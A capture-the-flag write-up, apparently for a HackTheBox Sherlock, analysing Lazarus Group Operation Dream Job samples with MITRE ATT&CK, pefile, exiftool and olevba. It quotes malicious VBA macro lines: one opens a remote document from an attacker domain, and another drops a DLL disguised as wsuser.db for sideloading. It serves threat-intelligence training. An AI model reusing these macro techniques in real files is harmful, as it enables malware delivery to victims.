$ cat writeup.md…
$ cat writeup.md…
hackthebox
As a Threat Intelligence Analyst investigating **Operation Dream Job**, you have identified that the **Lazarus Group** utilized a variety of custom-built malware and tools to facilitate their operations. Your task is to analyze and gather intelligence on the malware utilized by this APT.
As a Threat Intelligence Analyst investigating Operation Dream Job, you have identified that the Lazarus Group utilized a variety of custom-built malware and tools to facilitate their operations. Your task is to analyze and gather intelligence on the malware utilized by this APT.
Files provided:
17.dotm — Malicious Word template with VBA macroBAE_HPC_SE.iso — ISO file containing trojanized SumatraPDFSalary_Lockheed_Martin_job_opportunities_confidential.doc — Phishing document with VBA macroDvn62WlNrt09This is a 13-task Sherlock scenario combining MITRE ATT&CK threat intelligence research, malware artifact forensics, and OSINT to investigate the Lazarus Group's Operation Dream Job campaign. The challenge requires analyzing two custom malware families (DRATzarus, Torisma) via MITRE ATT&CK, performing forensic analysis on an ISO-delivered trojanized executable, and extracting intelligence from malicious VBA macros in Office documents.
Operation Dream Job is a Lazarus Group campaign targeting defense and aerospace employees with fake job offers. The attack chain:
Salary_Lockheed_Martin_job_opportunities_confidential.doc with embedded VBA macrosInternalViewer.exe), DLL sideloading via wsuser.db| Malware | MITRE ID | Key Trait |
|---|---|---|
| DRATzarus | S0694 | Similar to Bankshot; uses IsDebuggerPresent for anti-debug |
| Torisma | S0678 | C2 encrypted with XOR + VEST-32; packed with LZ4 compression |
Answer: Bankshot
From MITRE ATT&CK page for DRATzarus (S0694): "DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector."
Answer: IsDebuggerPresent
From S0694 under technique T1622 (Debugger Evasion): "DRATzarus can use IsDebuggerPresent to detect whether a debugger is present on a victim."
Answer: VEST-32
From MITRE ATT&CK page for Torisma (S0678) under T1573.001 (Encrypted Channel: Symmetric Cryptography): "Torisma has encrypted its C2 communications using XOR and VEST-32."
Answer: lz4 compression
From S0678 under T1027.002 (Software Packing): "Torisma has been packed with lz4 compression."
Note: On the MITRE page, "lz4" may render as "Iz4" due to font rendering — the lowercase 'l' looks like uppercase 'I'. This is the well-known LZ4 compression algorithm.
Answer: InternalViewer.exe
hdiutil mount BAE_HPC_SE.iso ls -la /Volumes/BAE_HPC_SE/
Contents:
BAE_HPC_SE.pdf (226,846 bytes — decoy PDF)
InternalViewer.exe (10,507,264 bytes — PE32+ x86-64)
Answer: SumatraPDF.exe
import pefile pe = pefile.PE("InternalViewer.exe") for entry in pe.FileInfo[0]: if entry.Key == b'StringFileInfo': for st in entry.StringTable: for key, val in st.entries.items(): print(f"{key.decode()}: {val.decode()}")
Output:
OriginalFilename: SumatraPDF.exe
ProductName: SumatraPDF
FileVersion: 3.2
CompanyName: Krzysztof Kowalczyk
Answer: 2020-08-13 08:44:50
import hashlib with open("InternalViewer.exe", "rb") as f: sha256 = hashlib.sha256(f.read()).hexdigest() # SHA256: adce894e3ce69c9822da57196707c7a15acee11319ccc963b84d83c23c3ea802
Queried VirusTotal API — first_seen_itw_date field returned 2020-08-13 08:44:50 UTC.
Additional VT info:
first_submission_date: 2020-06-05 09:20:22Answer: Ultimate Packer for eXecutables
PE section analysis reveals characteristic UPX sections:
Section VirtualSize RawSize
UPX0 34,689,024 0 (empty — decompression target)
UPX1 10,465,280 10,463,744 (compressed code)
.rsrc 45,056 42,496 (resources)
The pattern of UPX0 with zero raw size and UPX1 containing the compressed payload is the signature of UPX — Ultimate Packer for eXecutables.
Answer: https://markettrendingcenter.com/lk_job_oppor.docx
python3 -m oletools.olevba Salary_Lockheed_Martin_job_opportunities_confidential.doc
In the Frame1_Layout() subroutine:
Application.Documents.Open ("https://markettrendingcenter.com/lk_job_oppor.docx")
The macro also contained:
MediaSection array)WMVCORE.DLL loadingVirtualProtect, memcpy, NtQueryInformationProcessAnswer: Mickey
exiftool Salary_Lockheed_Martin_job_opportunities_confidential.doc
Output: Author: Mickey
Answer: Challenger
From exiftool output:
Last Modified By: Challenger
Last Saved Date: 2021-10-18 13:06:00
Revision Number: 83
Answer: \AppData\Local\Microsoft\Notice
python3 -m oletools.olevba 17.dotm
In the GetDllName() function (Module1.bas):
workDir = Environ("UserProfile") & "\AppData\Local\Microsoft\Notice" If Not FolderExist(workDir) Then MkDir (workDir) End If
Answer: wsuser.db
In the same GetDllName() function:
binName = "wsuser.db" dllPath = workDir & "\" & binName Do While FileExist(dllPath) ... Loop
The full attack chain in this macro:
\AppData\Local\Microsoft\Notice\ directorywsuser.db existsUserForm1 labels)wsuser.db (DLL disguised as SQLite database)LoadLibraryAsqlite3_stmt_all — a malicious export masquerading as a legitimate SQLite function$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar